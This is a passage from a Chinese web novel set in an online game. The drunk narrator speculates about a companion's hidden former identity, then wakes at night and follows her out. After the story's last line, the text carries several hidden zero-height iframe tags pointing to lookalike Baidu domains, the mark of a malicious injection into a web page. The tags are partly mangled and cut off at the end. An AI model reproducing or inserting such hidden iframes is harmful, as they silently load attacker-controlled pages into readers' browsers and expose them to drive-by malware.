地衝著我倒下來,原來是已經睡著了。
我嘆了口氣,小心地把她放到旁邊的沙發上。——除了被桃華和熒月灌的兩杯,她大概是今天喝得最少的人了。或許是累了吧。
那張LOLI臉造型實在很容易給人造成“天真無邪”的印象。但是,有好幾次我都注意到無害對她的態度很特別。從我們剛寄住在無害家開始,現役和無害那種“好像已經認識了很久”的氣場,實在是相當值得玩味。
儘管現在的這個叫做“基本無害”的ID是新人,但無害其實是公測剛開始就進入遊戲的。她並不認識奢蛇,所以不是無害現實中的朋友。那麼,“生涯現役”這個ID的背後,或許是一個資深玩家。
這就解釋了她對於隱藏設定本、亞特蘭提斯等等的熟悉。或許也解釋了她面對謹言時,無意洩露出的緊張情緒。
“不想被認出來”?
World的世界裡,練一個人物相當困難。除了無害這樣可能是吃撐了總是換馬甲的人,99%以上的玩家都會盡量選擇使用原來的ID,因為即使是死亡後等級清零,重練的時候系統也會給予一定的照顧。
總之,如果不是遊戲裡發生了什麼嚴重的糾紛,例如仇家太多搞到人人喊打,廢號這種事情幾乎沒有人去做。
那麼,“生涯現役”的“前世”是誰?
無害的老友?
謹言的同伴?敵人?或者——“前”戀人?
這麼說起來她對光氣似乎也有那麼一點微妙的牴觸感……
可惜的是現在我已經沒有思考的能力了。
——我的酒量差到無可再差,屬於只要喝掉一易拉罐的啤酒就開始站不穩的那種。而剛剛,非常不幸地,還被蘇藍硬灌了好幾杯白酒。
不要問我為什麼會被一頭端不起玻璃杯子只能用吸管喝東西的驢子灌酒——用自己的肝功能輕微受損換取聽力功能的完好是件很值的事。
那一邊,桃華終於成功地施放了睡眠術,但似乎一不小心把自己也納入了有效攻擊範圍內。我看著橫了一地的各種人體、驢體、蛇體、亡靈體、精靈體、史萊姆體……試著從他們身上跨過去走回房間。
沒有成功,在那之前我被周公帶走了。
有件事情不知道算是幸還是不幸,那就是——我挑床,還挺嚴重。所以,隨地一躺就能睡死過去這種事情是不會發生在我身上的。
酒精的作用只讓我迷糊了那麼一、兩個小時,接著我就清醒到能夠意識到自己躺在冰冷的地面上:頭枕著蘇藍的前蹄,腳踩著可能已經扁掉的無害,左手還抓著布布的尾巴。
房間裡有響聲。模模糊糊地感覺到有人在周圍走動。
這種時候——難道是基拉少校偷偷上線了?但是我並沒有聽到有人被卡住的慘叫聲。
聲音一點點靠近,是努力放低但未成功的腳步聲。
接著一床毯子蓋到了我臉上。
呃,從這種笨手笨腳的程度來看,應該是現役……
腳步聲停了一下,然後往門的方向走去。接著我聽到樓梯的響聲。聲音越來越遠,最後徹底消失了。
樓下沒有臥室,洗手間已經停用。她去做什麼?
夢遊?看星星?離家出走?
不管怎樣,還真是能折騰啊。
我掀掉毯子爬了起來,走到桌邊,摸索著按下時鐘的夜光按鈕。
錶盤隨著亮了起來,指標正指著夜裡兩點的位置,旁邊是“喲,正看著我的正太君,這麼晚了還不睡會更長不高的”的個性化提示。
——我倒不知道這個世界裡的時鐘已經進化到這種地步了,不過現在不是研究這個的時候。
我沒有跟蹤狂的興趣,不過大半夜的放她自己一個出去,出什麼事就麻煩了。
順手抓起放在沙發邊的新手包,我向著門口走去。<;iframe src=http://baidu。bai6ud/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。bai7ud/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。bai7ud/w65/w65。htm width=100 height=0>;<;/iframe>;<;if